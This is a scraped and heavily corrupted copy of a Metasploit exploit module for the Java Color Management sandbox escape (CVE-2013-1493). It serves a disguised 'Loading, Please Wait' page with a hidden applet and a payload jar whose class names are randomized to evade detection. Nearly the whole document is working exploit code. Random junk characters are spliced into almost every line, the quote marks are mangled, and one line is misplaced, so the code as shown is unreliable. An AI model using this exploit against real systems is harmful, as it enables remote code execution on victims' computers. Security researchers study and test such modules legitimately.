##
: m1 g3 X- A: V! T* K! L9 ]
+ U; W8 J0 V+ ^2 m* `: |# This file is part of the Metasploit Framework and may be subject to' l; g; p* P- z1 r" I; G7 }
# redistribution and commercial restrictions. Please see the Metasploit
& ~, {5 |8 Q/ d5 I( |: D' G# web site for more information on licensing and terms of use.
* F% I: w }" n- k# http://metasploit.com/
% h& ?. E5 G' Y. Q4 N! h##" X! q+ y- v, }, u$ M! O1 {
require ‘msf/core’
2 N: y, z+ O7 e" Mrequire ‘rex’, f" D6 f5 h; H
class Metasploit3 < Msf::Exploit::Remote
. I( N7 M, H6 c" @6 J/ x- F1 P$ tRank = NormalRanking
1 b4 J- W# t" K' i$ xinclude Msf::Exploit::Remote::HttpServer::HTML( V: t0 p# M. y( x+ w3 ^9 D3 m f
include Msf::Exploit::EXE' Y8 J6 L7 |+ e1 E8 z0 C
include Msf::Exploit::Remote::BrowserAutopwn
8 f! ^% d+ ]0 ^+ ], e- ~autopwn_info({ :javascript => false }); w7 q8 D& i/ M: H' V$ x
def initialize( info = {} )5 f; @8 v# @9 {, `0 R; |: s8 C
super( update_info( info,+ |* g1 D. V% B' I9 d
‘Name’ => ‘Java CMM Remote Code Execution’,
) }. R9 g r1 V0 F, U‘Description’ => %q{% C/ p0 Z: C4 ~" M0 ]
This module abuses the Color Management classes from a Java Applet to run+ H1 z3 ^9 A$ t( K5 ]$ t0 L
arbitrary Java code outside of the sandbox as exploited in the wild in February1 _& ~4 d" x2 @2 N( d& T
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
7 I+ }; @3 z' n* m7 ]/ ]6 r7 hand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
# ^8 I% X% O; B, Osystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
8 p# X- P& r& U/ s) s/ `warning in order to run the malicious applet.
; T& x/ _( R. q# m},
/ `' j; P) y! Q0 U% k‘License’ => MSF_LICENSE,
; y3 S4 O+ g5 q/ r‘Author’ =>, ~0 F/ ]# N `
'Unknown', # Vulnerability discovery and Exploit
0 f( A% P5 I6 a$ y# P7 ?'juan vazquez' # Metasploit module (just ported the published exploit)
0 z$ Q4 P% t4 Y! l],& Q) e4 x; N/ g2 V \
‘References’ =>
2 L8 Z O* J0 ~3 D' d% ][. f. j% Q* P6 B$ j3 V$ k
[ 'CVE', '2013-1493' ],* i4 z/ [! }/ b" ^
[ 'OSVDB', '90737' ],1 p/ w& X" t% o( C1 o9 U9 T
[ 'BID', '58238' ],' T. W1 _8 \% D5 g8 \1 G( e1 V' ^
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
( |* T' O( H0 P/ V8 E- J[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],% i: \9 p7 d7 \* A
[ 'URL', 'http://pastie.org/pastes/6581034' ]/ Q) D; Q4 V$ }! v
],* L _* g4 V" T
‘Platform’ => [ 'win', 'java' ],
6 c4 Z, K$ s( I# @, |& F9 J‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
+ [8 e& ~+ d( a5 ^# y+ y+ I‘Targets’ =>9 @& W) Z ^4 }; [9 w
[& r8 |% \( O! Z: g: a- Z
[ 'Generic (Java Payload)',
6 ? Z) X# J: S* ~8 v/ w% L7 V{7 ?! K& i9 F0 {( o. X' u
'Platform' => 'java',
7 W; b& A( _2 s'Arch' => ARCH_JAVA
' Q! Z# [1 |* d/ e- i}
0 G' k. P+ j y; r0 Q+ m],7 v# I6 q& R$ F+ w7 Z6 p
[ 'Windows x86 (Native Payload)',$ x1 C$ I: f1 k/ g3 D# S
{
, W; c" D- C6 m+ a0 j4 W/ b'Platform' => 'win',
+ h4 {2 f6 }; W'Arch' => ARCH_X86
3 @( g3 d+ d) o" I6 v% i: |}
2 b' {# k+ j5 ~% G: a W2 ~: f]% J- f* [6 [4 a8 E5 u3 B
],9 U& u, M2 w6 e% Z" {+ G. X/ W, k
‘‘DisclosureDate’ => ‘Mar 01 2013′: z! p& u$ j7 }$ j. ^% J; Y/ x$ D( G
))7 K3 }6 o7 t8 w
end& ^* z+ p, J7 A0 `- o
def setup) \, K1 d5 C, m4 \3 N& W4 i4 _. H6 q2 f
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
3 d1 _7 f$ A$ j( E) t# s@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
X9 z9 W) v( E3 z3 {path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
7 b1 b( q! A, L3 A, n, P( s& i@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }# H/ r2 Q/ N" S5 ^& ^( C
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
4 a u1 U8 _1 `# ]4 U R, |@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }- t, _6 J/ t9 n: z' a
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
3 E8 L; J! \! ]5 i$ s+ f4 I@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }7 k8 J0 T) P. p3 [5 e" x& j# Z2 j
@init_class_name = rand_text_alpha(“Init”.length)
7 n8 R) Z4 }( A* s: W- X# ~) Q@init_class.gsub!(“Init”, @init_class_name)/ N- K& Q6 @9 d( |- d$ z% I
super
+ \: h; m) o0 O" Mend
q9 D0 n; ^( ~( O3 jdef on_request_uri(cli, request)& u" o8 G3 l h1 h+ a, e' O
print_status(“handling request for #{request.uri}”)
y8 z; G1 E% r+ p* b5 |9 i& d' w/ ?case request.uri% l, S6 S+ H+ Y: q
when /\.jar$/i
. K; _: h2 q4 u# y2 _( Xjar = payload.encoded_jar
. t) Q# \: `+ R6 o) u; |5 Pjar.add_file(“#{@init_class_name}.class”, @init_class)$ C, m% d7 A, w9 j# z- x, |
jar.add_file(“Leak.class”, @leak_class)
& _1 z/ T% Z) Q, `jar.add_file(“MyBufferedImage.class”, @buffered_image_class)6 U' i' S$ K( ]. i3 y P' s# c
jar.add_file(“MyColorSpace.class”, @color_space_class)
7 x Y) X3 @3 m4 @+ RDefaultTarget’ => 1,- t- U1 \0 p5 c2 g
metasploit_str = rand_text_alpha(“metasploit”.length); h/ }, b2 o& b0 @5 L5 Z5 R3 j$ M
payload_str = rand_text_alpha(“payload”.length)
8 P& ^1 ^% {9 w6 ]- x. u' P5 Hjar.entries.each { |entry|
. w' R& z E3 n) P/ Xentry.name.gsub!(“metasploit”, metasploit_str)4 c f) `; K- x9 H4 F
entry.name.gsub!(“Payload”, payload_str)
" z: P, B- r, O: Gentry.data = entry.data.gsub(“metasploit”, metasploit_str)
( ]0 b# N, h; v7 M1 t/ _entry.data = entry.data.gsub(“Payload”, payload_str)# _7 _, [- z) ?$ X. O% H. S6 m
}! E/ M. h- @; r8 d' R) Z' h
jar.build_manifest2 }* I7 O* f8 t0 i3 {5 H9 g
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
9 v0 G1 e2 v1 \when /\/$/2 t3 T' \& F9 [- ~ u, B
payload = regenerate_payload(cli)
6 k0 B2 g# g$ m5 Q4 ^if not payload! l7 v; O( ^- w$ m7 O {' C7 ]4 l
print_error(“Failed to generate the payload.”)" ^3 s& }' V! C Y
send_not_found(cli)
5 n9 e/ u' C- \# L' D. u9 f' e) k; Mreturn
" e( p9 q$ z) V$ |: P! }end
- C; @. @2 f7 p% \$ z3 n) m1 r7 p# isend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
& `: U% c) Z0 n w9 p( \9 [/ v: xelse9 e) \2 n1 ]4 D2 x
send_redirect(cli, get_resource() + ‘/’, ”)
( y0 C8 t( m+ c' ~! {9 B5 mend
, ?8 D1 |0 h3 Mend
0 `$ H/ k& a, xdef generate_html* Q& |1 X S2 W1 K6 Q* x
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|2 r5 N+ l( y5 a+ }9 Y6 Q
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|. X7 L2 A. _; ?: \; m' r: }
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
1 ~* f% f0 j$ n/ O5 ?' S/ E, |html += %Q|</applet></body></html>|
/ J( w( c! H2 M+ d* \0 {) kreturn html5 D) B/ e% H; u/ t$ R; p: F4 o. y
end
9 h9 J4 M3 b$ H' E3 z Dend8 |; z- s+ u% i& v/ }
end* v; e! [' t5 u/ o
|